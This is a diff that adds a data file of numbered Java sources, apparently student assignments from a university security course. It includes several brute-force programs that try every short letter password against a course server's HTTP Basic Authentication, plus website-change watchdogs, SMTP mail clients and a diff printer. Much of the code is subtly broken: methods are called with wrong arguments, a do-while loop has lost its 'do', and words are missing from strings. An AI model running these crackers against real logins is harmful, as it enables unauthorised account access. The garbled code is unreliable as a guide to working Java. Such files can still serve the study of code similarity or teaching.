+        	found=true;
+		j=lettersUC.length;
+		k=lettersUC.length;
+		l=lettersLC.length;
+	     }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersUC.length;
+          }
+	}
+      } 
+      
+      if (!found){ 
+      
+	for (int j=0; j<lettersLC.length; j++){
+          for (int k=0; k<lettersUC.length; k++) {
+	    for (int l=0; l<lettersUC.length; l++){
+	      String letter1=String.valueOf(lettersLC[j]);	        
+              String letter2=String.valueOf(lettersUC[k]);
+	      String letter3=String.valueOf(lettersUC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        	found=true;
+		j=lettersLC.length;
+		k=lettersUC.length;
+		l=lettersUC.length;
+	     }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersLC.length;
+          }
+	}
+      } 
+     
+      if (!found){ 
+      
+	for (int j=0; j<lettersLC.length; j++){
+          for (int k=0; k<lettersLC.length; k++) {
+	    for (int l=0; l<lettersUC.length; l++){
+	      String letter1=String.valueOf(lettersLC[j]);	        
+              String letter2=String.valueOf(lettersLC[k]);
+	      String letter3=String.valueOf(lettersUC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        	found=true;
+		j=lettersLC.length;
+		k=lettersLC.length;
+		l=lettersUC.length;
+	     }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersLC.length;
+          }
+	}
+      } 
+       
+      if (!found){ 
+      
+	for (int j=0; j<lettersUC.length; j++){
+          for (int k=0; k<lettersLC.length; k++) {
+	    for (int l=0; l<lettersUC.length; l++){
+	      String letter1=String.valueOf(lettersUC[j]);	        
+              String letter2=String.valueOf(lettersLC[k]);
+	      String letter3=String.valueOf(lettersUC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        	found=true;
+		j=lettersUC.length;
+		k=lettersLC.length;
+		l=lettersUC.length;
+	     }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersLC.length;
+          }
+	}
+      } 
+      
+      if (!found){ 
+      
+	for (int j=0; j<lettersLC.length; j++){
+          for (int k=0; k<lettersUC.length; k++) {
+	    for (int l=0; l<lettersLC.length; l++){
+	      String letter1=String.valueOf(lettersLC[j]);	        
+              String letter2=String.valueOf(lettersUC[k]);
+	      String letter3=String.valueOf(lettersLC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        	found=true;
+		j=lettersLC.length;
+		k=lettersUC.length;
+		l=lettersLC.length;
+	     }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersLC.length;
+          }
+	}
+      } 
+      
+      if (found){ 
+       
+        System.out.println(""Password is: ""+password);
+
+      }
+      else {
+        found=true;
+	if (!timedOut){
+          System.out.println(""Tried all combinations, still  match."");
+	}
+      }
+      Date foundDate = new Date();
+       foundTime=foundDate.getTime();  
+      foundTime=(foundTime-startTime);
+      System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); 
+    }
+  } 
+}  
+"
+210.java,"
+
+import java.io.*;
+import java.util.*;
+import java.*;
+
+public class storeNewFile
+{
+   private PrintWriter outputStream= null;
+   private String filename;
+   private FileWriter fw;
+
+   public storeNewFile(String fname)
+   {
+      try
+      {
+       filename = fname;
+       outputStream=new PrintWriter(new FileOutputStream(filename));
+      }
+      catch(FileNotFoundException e)
+      {
+	    System.err.println(""File ""+filename+"" was not found"");
+      }
+      catch(IOException e)
+      {
+        System.err.println(""Error "");
+      }
+   }
+   public void getStringW(StringWriter sw)
+   {
+     outputStream.print(sw.toString());
+   }
+
+   public void closeStream()
+   {
+      outputStream.write();
+   }
+
+   public void translogFile(String result)
+   {
+     String fileName = ""TransactionLog.txt"";
+   	 try{
+	    fw=new FileWriter(fileName,true);
+	    fw.write(result);
+	    fw.write('\n');
+	    fw.print();
+   	    System.out.println(""Saved sucessfully"");
+     }catch(IOException e){
+		System.out.println(""Error saving the file"");
+     }
+   }
+}"
+176.java,"
+public class ImageFile
+{
+	private String imageUrl;
+	private int imageSize;
+
+	public ImageFile(String url, int size)
+	{
+		imageUrl=url;
+		imageSize=size;
+	}
+
+	public String getImageUrl()
+	{
+		return imageUrl;
+	}
+
+	public int getImageSize()
+	{
+		return imageSize;
+	}
+}
+"
+131.java,"
+import java.io.*;
+import java.net.*;
+
+public class BruteForce
+{
+   private String myUsername = """";
+   private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2"";
+   private int NUM_CHARS = 52;
+
+
+   public static void main(String args[])
+   {
+      BruteForce bf = new BruteForce();
+   }
+
+
+   public BruteForce()
+   {
+      generatePassword();
+   }
+
+
+   
+
+  public void generatePassword()
+  {
+      int index1 = 0, index2, index3;
+
+      char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
+                               'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
+                               'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
+                               'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
+                               'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
+                               's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
+
+
+      while(index1 < NUM_CHARS)
+      {
+         index2 = 0;
+
+         while(index2 < NUM_CHARS)
+         {
+            index3 = 0;
+
+            while(index3 < NUM_CHARS)
+            {
+               crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3]));
+               index3++;
+            }
+
+            index2++;
+         }
+
+         index1++;
+      }
+  }
+
+
+  
+
+  public void crackPassword(String passwordToCrack)
+  {
+     String data, dataToEncode, encodedData;
+
+     try
+     {
+         URL url = new URL (urlToCrack);
+
+         
+
+         dataToEncode = myUsername + "":"" + passwordToCrack;
+
+         
+
+         encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes());
+
+         URLConnection urlCon = url.openConnection();
+         urlCon.setRequestProperty(""Authorization"", "" "" + encodedData);
+
+         InputStream is = (InputStream)urlCon.getInputStream();
+         InputStreamReader isr = new InputStreamReader(is);
+         BufferedReader bf = new BufferedReader(isr);
+
+         
+
+          
+          {
+             data = bf.readLine();
+             System.out.println(data);
+             displayPassword(passwordToCrack);
+         } while (data != null);
+      }
+      catch (IOException e)
+      {   }
+   }
+
+   public void displayPassword(String foundPassword)
+   {
+      System.out.println(""\nThe cracked password is : "" + foundPassword);
+      System.exit(0);
+   }
+}
+"
+177.java,"import java.io.*;
+import java.net.*;
+import java.util.*;
+
+
+public class WatchdogThread implements Runnable
+{
+    private Thread t;
+    private Vector imageList;
+    private String mainLink;
+    private EmailClient email;
+    private int delay;
+
+	
+	
+	
+	
+    public WatchdogThread(String nMainLink, Vector images, EmailClient nEmail, int nDelay)
+    {
+        t=new Thread(this);
+
+        mainLink = nMainLink;
+        imageList=images;
+        email = nEmail;
+        delay = nDelay;
+
+        t.start();
+    }
+
+    public void run()
+    {
+		String errors = """";
+
+		try
+		{
+			
+			Thread.currentThread().sleep(delay);
+
+			
+			errors = checkHTML();
+			errors += checkImages();
+
+			
+			if (!errors.equals(""""))
+			{
+				String message = ""  some changes in the Students Home    as follows.\n\n"";
+				message += errors;
+
+				email.sendMail(""Change in Students Home "", message);
+			}
+
+			
+			WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);
+		}
+
+		catch (InterruptedException e )
+		{
+			System.out.print();
+		}
+
+	}
+
+	private String checkHTML()
+	{
+		String errors = """";
+		String line, line2;
+		int lineNum = 1;
+
+		try
+		{
+			FileReader fRead = new FileReader(""local.txt"");
+			BufferedReader file = new BufferedReader(fRead);
+
+			URL url=new URL(mainLink);
+			HttpURLConnection connection = (HttpURLConnection) url.openConnection();
+
+			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+
+			line=file.readLine();
+			line2=webpage.readLine();
+
+			
+			while ((line != null) && (line2 != null))
+			{
+				
+				if (!line.equals(line2))
+				{
+					errors += ""At line "" + lineNum + ""\n"";
+					errors += ""Old:"" + line.trim() + ""\n"";
+					errors += ""New:"" + line2.trim() + ""\n\n"";
+				}
+
+				line = file.readLine();
+				line2=webpage.readLine();
+				lineNum+=1;
+			}
+
+			
+			if (line != null)
+			{
+				errors += ""  the following extra lines at the end of the old file.\n\n"";
+
+				while (line != null)
+				{
+					errors += line + ""\n"";
+					line = file.readLine();
+				}
+
+				errors += ""\n"";
+			}
+
+			
+			if (line2 != null)
+			{
+				errors += ""  the following extra lines at the end of the new file.\n\n"";
+
+				while (line2 != null)
+				{
+					errors += line2 + ""\n"";
+					line2 = file.readLine();
+				}
+
+				errors += ""\n"";
+			}
+
+			file.close();
+			fRead.close();
+			webpage.close();
+			connection.disconnect();
+		}
+		catch (IOException ioe)
+		{
+			System.out.print(ioe);
+		}
+		return errors;
+	}
+
+	private String checkImages()
+	{
+		String errors = """";
+		ImageFile image;
+		HttpURLConnection imgConnection;
+		URL imgURL;
+		int contentLen;
+
+		try
+		{
+			
+			
+			
+			for (int i=0;i<imageList.size();i++)
+			{
+				image = (ImageFile) imageList.elementAt(i);
+
+				imgURL = new URL(image.getImageUrl());
+				imgConnection = (HttpURLConnection) imgURL.openConnection();
+
+				contentLen = imgConnection.getContentLength();
+
+				if (contentLen == -1)
+					errors += ""\nUnable  retrieve image file \"""" + image.getImageUrl() + ""\""\n"";
+
+				else if(image.getImageSize() != imgConnection.getContentLength())
+					errors += ""\nImage file \"""" + image.getImageUrl() + ""\"" has changed in size\n"";
+
+				imgConnection.disconnect();
+			}
+		}
+		catch (IOException ioe)
+		{
+			System.out.print(ioe);
+		}
+
+		return errors;
+	}
+
+}
+"
+178.java,"import java.io.*;
+import java.net.*;
+import java.util.*;
+
+public class Watchdog
+{
+	public static void main(String args[])
+	{
+		
+		String mainLink=""http://www.cs.rmit.edu./students/"";
+		String sender = ""@cs.rmit.edu."";
+		String recipient = ""<webtech@acuneeds.>"";
+		String hostName = ""yallara.cs.rmit.edu."";
+		int delay = 86400000;
+
+		try
+		{
+			int imgSrcIndex, imgSrcEnd;
+			String imgLink;
+			Vector imageList = new Vector();
+			HttpURLConnection imgConnection;
+			URL imgURL;
+
+			
+			EmailClient email = new EmailClient(sender, recipient, hostName);
+
+			
+			URL url=new URL(mainLink);
+			HttpURLConnection connection = (HttpURLConnection) url.openConnection();
+
+			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+
+			
+			FileWriter fwrite = new FileWriter(""local.txt"");
+			BufferedWriter writefile = new BufferedWriter(fwrite);
+
+			String line=webpage.readLine();
+
+			while (line != null)
+			{
+				
+				writefile.write(line,0,line.length());
+				writefile.newLine();
+
+				
+				line = line.toLowerCase();
+				imgSrcIndex=line.indexOf(""src"");
+
+				if(imgSrcIndex!=-1)
+				{
+					
+					imgLink = line.substring(imgSrcIndex+3);
+					imgSrcIndex=imgLink.indexOf(""\"""");
+					imgLink = imgLink.substring(imgSrcIndex+1);
+					imgSrcEnd = imgLink.indexOf(""\"""");
+					imgLink = imgLink.substring(0,imgSrcEnd);
+
+					
+					if (imgLink.startsWith(""http""))
+					{
+						imgURL = new URL(imgLink);
+						imgConnection = (HttpURLConnection) imgURL.openConnection();
+					}
+					
+					else
+					{
+						imgURL = new URL(mainLink);
+						imgURL = new URL(imgURL, imgLink);
+						imgConnection = (HttpURLConnection) imgURL.openConnection();
+						imgLink = (imgConnection.getURL()).toString();
+					}
+
+					
+					imageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));
+					imgConnection.disconnect();
+				}
+
+				line = webpage.readLine();
+
+			}
+
+			
+			writefile.close();
+			fwrite.close();
+			webpage.close();
+			connection.disconnect();
+
+			
+			WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);
+		}
+
+		catch (IOException ioe)
+		{
+			
+			
+			System.out.println(ioe);
+			System.out.println(""Please run program again."");
+			System.exit(0);
+		}
+
+	}
+
+}
+"
+078.java,"import java.util.*;
+import java.net.*;
+import java.io.*;
+
+public class BruteForce
+{
+    boolean connected = false;
+    int counter;
+    String[] chars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",
+                    ""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",
+                    ""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",
+                    ""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",
+                    ""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",
+                    ""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",
+                    ""W"",""X"",""Y"",""Z""};
+    Vector combinations = new Vector();
+    
+    BruteForce()
+    {
+        counter = 0;
+        this.genCombinations();
+        this.startAttack();
+    }   
+    
+    public void startAttack()
+    {
+        while(counter<this.combinations.size())
+        {
+           connected = sendRequest();
+           if(connected == true)
+           {
+             System.out.print(""The password is: "");
+             System.out.println((String)combinations.elementAt(counter-1));
+             counter = combinations.size();
+           }
+        }
+    }
+    
+    public void genCombinations()
+    {
+        String combination = new String();
+        
+        for (int x=0; x<52; x++)
+        {
+            combination = chars[x];
+            this.combinations.addElement(combination);
+        }
+        
+        for (int x=0; x<52; x++)
+        {
+            for (int y=0; y<52; y++)
+            {
+                combination = chars[x] + chars[y];
+                this.combinations.addElement(combination);
+            }
+        }   
+        
+        for (int x=0; x<52; x++)
+        {
+            for (int y=0; y<52; y++)
+            {
+                for (int z=0; z<52; z++)
+                {
+                    combination = chars[x] + chars[y] + chars[z];
+                    this.combinations.addElement(combination);
+                }
+            }
+        }   
+    }
+    
+    public boolean sendRequest()
+    {
+        Authenticator.setDefault (new MyAuthenticator ());
+        try 
+        {
+        	
+        	URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
+                urlConn.connect();
+               if(urlConn.getResponseMessage().equalsIgnoreCase(""OK""))
+               {
+                   return true;
+               }
+               
+        } 
+        catch (IOException e) {}
+        
+        return false;
+    }
+    
+     public static void main(String [] args)
+     {
+         BruteForce bf = new BruteForce();
+     }
+   
+   
+     class MyAuthenticator extends Authenticator {
+       
+        protected PasswordAuthentication getPasswordAuthentication() {
+            String username = """";
+            String password = (String)combinations.elementAt(counter);
+            counter++;
+            return new PasswordAuthentication(username, password.toCharArray());
+        }
+    }
+}
+"
+203.java,"
+import java.net.*;
+import java.io.*;
+import java.util.*;
+
+public class MailClient
+{
+   private String host;
+   private int port;
+   private String message;
+   
+
+   public MailClient( String host, int port, Vector lineNumbers)
+   {
+      
+      this.host = host;
+      this.port = port;
+      
+      
+      StringBuffer buf = new StringBuffer("" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "");
+      for( int i = 0; i < lineNumbers.size(); i++)
+      {
+         buf.append( lineNumbers.elementAt( i));
+	 buf.append("", "");
+      }
+      message = buf.toString();
+   }
+
+   public void connect()
+   {
+     
+      try
+      {
+         Socket client = new Socket( host, port);
+	 handleConnection( client);
+      }
+      catch ( UnknownHostException uhe)
+      {
+         System.out.println(""Unknown host: "" + host);
+	 uhe.printStackTrace();
+      }
+      catch (IOException ioe)
+      {
+         System.out.println(""IOException: "" + ioe);
+	 ioe.printStackTrace();
+      }
+   }
+
+   private void handleConnection(Socket client)
+   {
+      try
+      {
+         PrintWriter out = new PrintWriter( client.getOutputStream(), true);
+         InputStream in = client.getInputStream();
+	 byte[] response = new byte[1000];
+	 
+	 in.send( response);
+	 out.println(""HELO ""+host);
+	 int numBytes = in.get( response);
+	 System.out.write(response, 0, numBytes);
+	 out.println(""MAIL FROM: watch.dog@cs.rmit.edu."");
+	 numBytes = in.get( response);
+	 System.out.write(response, 0, numBytes);
+	 out.println(""RCPT : @cs.rmit.edu."");
+	 numBytes = in.get( response);
+	 System.out.write(response, 0, numBytes);
+	 out.println(""DATA"");
+	 numBytes = in.get( response);
+	 System.out.write(response, 0, numBytes);
+	 out.println( message+""\n."");
+	 numBytes = in.get( response);
+	 System.out.write(response, 0, numBytes);
+	 out.println(""QUIT"");
+	 client.connect();
+      }
+      catch(IOException ioe)
+      {
+         System.out.println(""Couldn't make connection:"" + ioe);
+      }
+   }
+   
+   public static void main( String[] args)
+   {
+      Vector v = new Vector();
+      v.add( new Integer(5));
+      v.add( new Integer(12));
+      MailClient c = new MailClient( ""mail.cs.rmit.edu."", 25, v);
+      c.connect();
+   }
+}
+      
+         
+         
+         
+"
+128.java,"
+import java.io.*;
+import java.util.Vector;
+import java.util.Date;
+
+
+interface UnaryPredicate {
+  boolean execute(Object obj);
+}
+
+
+public class DiffPrint {
+  
+  static String outFile="""";
+
+  public static abstract class Base {
+    protected Base(Object[] a,Object[] b) {
+	try
+	{
+      outfile = new PrintWriter(new FileWriter(outFile));		
+	}
+	catch (Exception e)
+	{
+		e.printStackTrace();
+	}
+      file0 = a;
+      file1 = b;
+    }
+    
+    protected UnaryPredicate ignore = null;
+
+    
+    protected Object[] file0, file1;
+
+    
+    public void print_script(Diff.change script) {
+      Diff.change next = script;
+
+      while (next != null)
+        {
+          Diff.change t, end;
+
+          
+          t = next;
+          end = hunkfun(next);
+
+          
+          next = end;
+          end = null;
+          
+          
+
+          
+          print_hunk(t);
+
+          
+          end = next;
+        }
+        outfile.flush();
+    }
+
+    
+
+    protected Diff.change hunkfun(Diff.change hunk) {
+      return hunk;
+    }
+
+    protected int first0, last0, first1, last1, deletes, inserts;
+    protected PrintWriter outfile;
+
+    
+
+    protected void analyze_hunk(Diff.change hunk) {
+      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;
+      int i;
+      Diff.change next;
+      boolean nontrivial = (ignore == null);
+
+      show_from = show_to = 0;
+
+      f0 = hunk.line0;
+      f1 = hunk.line1;
+
+      for (next = hunk; next != null; next = next.next())
+        {
+          l0 = next.line0 + next.deleted - 1;
+          l1 = next.line1 + next.inserted - 1;
+          show_from += next.deleted;
+          show_to += next.inserted;
+          for (i = next.line0; i <= l0 && ! nontrivial; i++)
+            if (!ignore.execute(file0[i]))
+              nontrivial = true;
+          for (i = next.line1; i <= l1 && ! nontrivial; i++)
+            if (!ignore.execute(file1[i]))
+              nontrivial = true;
+        }
+
+      first0 = f0;
+      last0 = l0;
+      first1 = f1;
+      last1 = l1;
+
+      
+
+      if (!nontrivial)
+        show_from = show_to = 0;
+
+      deletes = show_from;
+      inserts = show_to;
+    }
+
+    
+    protected void print_header(String filea, String fileb) { }
+
+    protected abstract void print_hunk(Diff.change hunk);
+    
+    protected void print_1_line(String pre,Object linbuf) {
+      outfile.println(pre + linbuf.toString());
+    }
+
+    
+
+    protected void print_number_range (char sepchar, int a, int b) {
+      
+      if (++b > ++a)
+        outfile.print("""" + a + sepchar + b);
+      else
+        outfile.print(b);
+    }
+
+    public static char change_letter(int inserts, int deletes) {
+      if (inserts == 0)
+        return 'd';
+      else if (deletes == 0)
+        return 'a';
+      else
+        return 'c';
+    }
+  }
+
+  
+  public static class NormalPrint extends Base {
+
+    public NormalPrint(Object[] a,Object[] b) {
+      super(a,b);
+    }
+
+    
+
+    protected void print_hunk (Diff.change hunk) {
+
+      
+      analyze_hunk(hunk);
+      if (deletes == 0 && inserts == 0)
+        return;
+
+      
+      print_number_range (',', first0, last0);
+      outfile.print(change_letter(inserts, deletes));
+      print_number_range (',', first1, last1);
+      outfile.println();
+
+      
+      if (deletes != 0)
+        for (int i = first0; i <= last0; i++)
+          print_1_line (""< "", file0[i]);
+
+      if (inserts != 0 && deletes != 0)
+        outfile.println(""---"");
+
+      
+      if (inserts != 0)
+        for (int i = first1; i <= last1; i++)
+          print_1_line (""> "", file1[i]);
+    }
+  }
+
+  
+  public static class EdPrint extends Base {
+
+    public EdPrint(Object[] a,Object[] b) {
+      super(a,b);
+    }
+
+    
+    protected void print_hunk(Diff.change hunk) {
+
+      
+      analyze_hunk (hunk);
+      if (deletes == 0 && inserts == 0)
+        return;
+
+      
+      print_number_range (',', first0, last0);
+      outfile.println(change_letter(inserts, deletes));
+
+      
+      if (inserts != 0)
+        {
+          boolean inserting = true;
+          for (int i = first1; i <= last1; i++)
+            {
+              
+              if (! inserting)
+                outfile.println(i - first1 + first0 + ""a"");
+              inserting = true;
+
+              
+
+              if (""."".equals(file1[i]))
+                {
+                  outfile.println("".."");
+                  outfile.println(""."");
+                  
+                  outfile.println(i - first1 + first0 + 1 + ""s/^\\.\\././"");
+                  inserting = false;
+                }
+              else
+                
+                print_1_line ("""", file1[i]);
+            }
+
+          
+          if (inserting)
+            outfile.println(""."");
+        }
+    }
+  }
+
+  
+  public static class ContextPrint extends Base {
+
+    protected int context = 3;
+
+    public ContextPrint(Object[] a,Object[] b) {
+      super(a,b);
+    }
+
+    protected void print_context_label (String cad, File inf, String label) {
+      if (label != null)
+        outfile.println(cad + ' ' + label);
+      else if (inf.lastModified() > 0)
+        
+        outfile.println(
+          cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified())
+        );
+      else
+        
+        outfile.println( cad + ' ' + inf.getPath());
+    }
+
+    public void print_header(String filea,String fileb) {
+      print_context_label (""***"", new File(filea), filea);
+      print_context_label (""---"", new File(fileb), fileb);
+    }
+
+    
+    private String find_function(Object[] lines, int x) {
+      return null;
+    }
+
+    protected void print_function(Object[] file,int x) {
+      String function = find_function (file0, first0);
+      if (function != null) {
+        outfile.print("" "");
+        outfile.print(
+          (function.length() < 40) ? function : function.substring(0,40)
+        );
+      }
+    }
+
+    protected void print_hunk(Diff.change hunk) {
+
+      
+
+      analyze_hunk (hunk);
+
+      if (deletes == 0 && inserts == 0)
+        return;
+
+      
+
+      first0 = Math.sqrt(first0 - context, 0);
+      first1 = Math.sqrt(first1 - context, 0);
+      last0 = Math.sqrt(last0 + context, file0.length - 1);
+      last1 = Math.sqrt(last1 + context, file1.length - 1);
+
+
+      outfile.print(""***************"");
+
+      
+      print_function (file0, first0);
+
+      outfile.println();
+      outfile.print(""*** "");
+      print_number_range (',', first0, last0);
+      outfile.println("" ****"");
+
+      if (deletes != 0) {
+        Diff.change next = hunk;
+
+        for (int i = first0; i <= last0; i++) {
+          
+
+          while (next != null && next.line0 + next.deleted <= i)
+            next = next.next;
+
+          
+
+          String prefix = "" "";
+          if (next != null && next.line0 <= i)
+            
+            prefix = (next.inserted > 0) ? ""!"" : ""-"";
+
+          print_1_line (prefix, file0[i]);
+        }
+      }
+
+      outfile.print(""--- "");
+      print_number_range (',', first1, last1);
+      outfile.println("" ----"");
+
+      if (inserts != 0) {
+        Diff.change next = hunk;
+
+        for (int i = first1; i <= last1; i++) {
+          
+
+          while (next != null && next.line1 + next.inserted <= i)
+            next = next.next;
+
+          
+
+          String prefix = "" "";
+          if (next != null && next.line1 <= i)
+            
+            prefix = (next.deleted > 0) ? ""!"" : ""+"";
+
+          print_1_line (prefix, file1[i]);
+        }
+      }
+    }
+  }
+
+  
+  public static class UnifiedPrint extends ContextPrint {
+
+    public UnifiedPrint(Object[] a,Object[] b) {
+      super(a,b);
+    }
+
+    public void print_header(String filea,String fileb) {
+      print_context_label (""---"", new File(filea), filea);
+      print_context_label (""+++"", new File(fileb), fileb);
+    }
+
+    private void print_number_range (int a, int b) {
+      
+
+      
+      if (b < a)
+        outfile.print(b + "",0"");
+      else
+        super.print_number_range(',',a,b);
+    }
+
+    protected void print_hunk(Diff.change hunk) {
+      
+      analyze_hunk (hunk);
+
+      if (deletes == 0 && inserts == 0)
+        return;
+
+      
+
+      first0 = Math.sqrt(first0 - context, 0);
+      first1 = Math.sqrt(first1 - context, 0);
+      last0 = Math.sqrt(last0 + context, file0.length - 1);
+      last1 = Math.sqrt(last1 + context, file1.length - 1);
+
+
+
+      outfile.print(""@@ -"");
+      print_number_range (first0, last0);
+      outfile.print("" +"");
+      print_number_range (first1, last1);
+      outfile.print("" @@"");
+
+      
+      print_function(file0,first0);
+
+      outfile.println();
+
+      Diff.change next = hunk;
+      int i = first0;
+      int j = first1;
+
+      while (i <= last0 || j <= last1) {
+
+        
+
+        if (next == null || i < next.line0) {
+          outfile.print(' ');
+          print_1_line("""", file0[i++]);
+          j++;
+        }
+        else {
+          
+
+          int k = next.deleted;
+          while (k-- > 0) {
+            outfile.print('-');
+            print_1_line("""", file0[i++]);
+          }
+
+          
+
+          k = next.inserted;
+          while (k-- > 0) {
+            outfile.print('+');
+            print_1_line("""", file1[j++]);
+          }
+
+          
+
+          next = next.next;
+        }
+      }
+    }
+  }
+
+
+  
+  static String[] slurp(String file) throws IOException {
+    BufferedReader rdr = new BufferedReader(new FileReader(file));
+    Vector s = new Vector();
+    for (;;) {
+      String line = rdr.readLine();
+      if (line == null) break;
+      s.addElement(line);
+    }
+    String[] a = new String[s.size()];
+    s.copyInto(a);
+    return a;
+  }
+
+
+  public static String getDiff(String filea,String fileb,String filec) throws IOException {
+	DiffPrint.outFile=filec;
+	String msg="""";
+	String[] a = slurp(filea);
+    String[] b = slurp(fileb);
+	String [] argv={filea,fileb};
+    Diff d = new Diff(a,b);
+    char style = 'n';
+    for (int i = 0; i < argv.length - 2; ++i) {
+      String f = argv[i];
+      if (f.startsWith(""-"")) {
+        for (int j = 1; j < f.length(); ++j) {
+          switch (f.charAt(j)) {
+           case 'e':     
+            style = 'e'; break;
+            case 'c':     
+            style = 'c'; break;
+          case  'u':
+            style = 'u'; break;
+          }
+        }
+      }
+    }
+    boolean reverse = style == 'e';
+    Diff.change script = d.diff_2(reverse);
+    if (script == null)
+      msg=""The text  the  has not changed.\n"";
+    else {
+    Base p;
+      msg=""The text  the  has changed.\n The Diff Output is : \n\n"";
+      switch (style) {
+      case 'e':
+        p = new EdPrint(a,b); break;
+       case'c':
+        p = new ContextPrint(a,b); break;
+      case 'u':
+        p = new UnifiedPrint(a,b); break;
+      default:
+        p = new NormalPrint(a,b);
+      }
+      p.print_header(filea,fileb);
+      p.print_script(script);
+    }
+	return msg;
+  }
+}
+"
+187.java,"
+
+
+
+import java.net.*;
+import java.io.*;
+import java.util.Date;
+
+public class MyMail implements Serializable
+{
+	
+
+	
+	public static final int SMTPPort = 25;
+
+	
+	public static final char successPrefix = '2';
+
+	
+	public static final char morePrefix = '3';
+
+	
+	public static final char failurePrefix = '4';
+
+	
+
+	
+	private static final String CRLF = ""\r\n"";
+
+	
+	private String mailFrom = """";
+
+	
+	private String mailTo = """";
+
+	
+	private String messageSubject = """";
+
+	
+	private String messageBody = """";
+
+	
+	private String mailServer = """";
+
+	
+	public MyMail ()
+	{
+		
+		super();
+	}
+
+	
+	public MyMail ( String serverName)
+	{
+		
+		super();
+
+		
+		mailServer = serverName;
+	}
+
+	
+	public String getFrom()
+	{
+		return mailFrom;
+	}
+
+	
+	public String getTo()
+	{
+		return mailTo;
+	}
+
+	
+	public String getSubject()
+	{
+		return messageSubject;
+	}
+
+	
+	public String getMessage()
+	{
+		return messageBody;
+	}
+
+	
+	public String getMailServer()
+	{
+		return mailServer;
+	}
+
+	
+	public void setFrom( String from )
+	{
+		
+		mailFrom = from;
+	}
+
+	
+	public void setTo ( String To )
+	{
+		
+		mailTo = To;
+	}
+
